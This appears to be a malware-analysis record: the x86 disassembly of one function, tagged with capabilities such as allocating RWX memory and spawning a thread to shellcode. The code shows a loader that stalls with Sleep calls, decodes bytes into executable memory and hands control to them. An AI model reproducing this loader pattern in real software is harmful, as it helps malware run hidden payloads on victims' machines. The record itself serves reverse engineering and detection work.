Function at 0x401559
Capabilities:
Allocate or change rwx memory
Create thread
Move file
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x64], 0
mov edx, dword [ebp - 0x2c]
mov dword [edx], 0xddaf831e
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x18], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x58], 0
push 4
mov eax, dword [ebp - 8]
add eax, 0xf4
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.0040150b
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x54], 0
mov edx, dword [ebp - 4]
add edx, 0x15
mov dword [ebp - 4], edx
mov dword [ebp - 0x54], 0xaff04c0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x54]
sub eax, 0xafed872
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x60], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x38], 0xffff
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x28]
mov dword [ecx + 0x15c], edx
mov eax, dword [str.Sd_r_r_rdfwerwsdf]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x412834]
mov dword [ebp - 0x44], ecx
mov edx, dword [0x412838]
mov dword [ebp - 0x40], edx
mov ax, word [0x41283c]
mov word [ebp - 0x3c], ax
mov cl, byte [0x41283e]
mov byte [ebp - 0x3a], cl
cmp dword [ebp - 0x54], 0xa
jae 0x401673
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4016e3
push 0xe
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 6
jne 0x4016a4
push 0
lea edx, [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x4016c0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call sub.MSVFW32.dll_DrawDibBegin
xor eax, eax
jmp 0x4018ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x4016e3
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x60], ecx
push 0x40
push 0x1000
mov edx, dword [ebp - 0x54]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x150], eax
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x150]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 4]
add ecx, 0x456
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x8c]
add eax, 0x400
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x8c], eax
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 8]
cmp dword [edx + 0x150], 0
je 0x4018cc
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x8c]
add ecx, 0x100
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [edx + 0x118], eax
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x74], 4
mov ecx, dword [ebp - 8]
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ecx + 0x170], edx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x118], 0
jbe 0x40187f
mov ecx, dword [ebp - 4]
add ecx, 0xf4291
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x60], 0x7b
jne 0x4017e3
push 4
push 0x1000
mov edx, dword [ebp - 0x54]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x4c], eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.0040150b
add esp, 0xc
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x10], 0
jmp 0x401802
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x54]
jae 0x401838
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x50]
movzx edx, byte [ecx]
sub edx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x7c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x50]
add ecx, 2
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
sub edx, 1
mov dword [ebp - 0x50], edx
jmp 0x4017f9
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x68], 0
jmp 0x401851
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
cmp ecx, dword [ebp - 0x54]
jae 0x40187d
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x50]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 0x50]
add edx, 2
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
jmp 0x401848
jmp 0x40189f
push 0x8000
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x1e8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
push eax
call fcn.004018d2
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x150]
add edx, 3
mov eax, dword [ebp - 8]
mov dword [eax + 0x150], edx
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x150]
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x68]
mov dword [eax + 0x1e8], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret